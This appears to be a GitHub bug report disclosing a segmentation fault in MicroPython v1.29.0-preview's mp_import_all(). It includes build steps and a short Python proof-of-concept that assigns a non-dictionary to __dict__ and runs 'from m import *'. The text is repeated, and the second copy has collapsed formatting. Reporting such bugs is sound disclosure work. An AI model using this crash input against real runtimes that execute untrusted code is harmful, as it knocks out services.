Port, board and/or hardware
No response
MicroPython version
No response
Issue Report
Summary
MicroPython v1.29.0-preview can be crashed by a Python script that places a non-dictionary value in an object's __dict__ attribute and then executes from module import *. The import path passes the value to mp_obj_dict_get_map() without validating its type.
Affected version tested:
v1.29.0-preview
commit 367178fce7a7513862b15f940afa75ba005ba67b
Details
Relevant source: py/runtime.c, mp_import_all().
The public interpreter flow is:
from m import * -> mp_import_all() -> __dict__ lookup -> mp_obj_dict_get_map() -> invalid memory access
An instance member named __dict__ can contain a non-dictionary value, which the import code treats as a native dictionary.
PoC
Build the Unix port from the tested tag:
git clone https://github.com/micropython/micropython.git
cd micropython
git checkout v1.29.0-preview
make -C ports/unix
Run the script through the built interpreter:
ports/unix/build-standard/micropython - <<'PY'
import sys
class M:
pass
m = M()
m.__dict__ = 42
sys.modules["m"] = m
from m import *
PY
Observed:
Segmentation fault (core dumped)
exit code: 139
Impact
An attacker able to supply Python code to a MicroPython runtime can terminate the interpreter through the public from ... import * language feature. Remote exploitation depends on an application that executes attacker-controlled MicroPython code.
Code of Conduct
Yes, I agree
Port, board and/or hardware
No response
MicroPython version
No response
Issue Report
Summary
MicroPython
v1.29.0-previewcan be crashed by a Python script that places a non-dictionary value in an object's__dict__attribute and then executesfrom module import *. The import path passes the value tomp_obj_dict_get_map()without validating its type.Affected version tested:
Details
Relevant source:
py/runtime.c,mp_import_all().The public interpreter flow is:
An instance member named
__dict__can contain a non-dictionary value, which the import code treats as a native dictionary.PoC
Build the Unix port from the tested tag:
git clone https://github.com/micropython/micropython.git cd micropython git checkout v1.29.0-preview make -C ports/unixRun the script through the built interpreter:
Observed:
Impact
An attacker able to supply Python code to a MicroPython runtime can terminate the interpreter through the public
from ... import *language feature. Remote exploitation depends on an application that executes attacker-controlled MicroPython code.Code of Conduct
Yes, I agree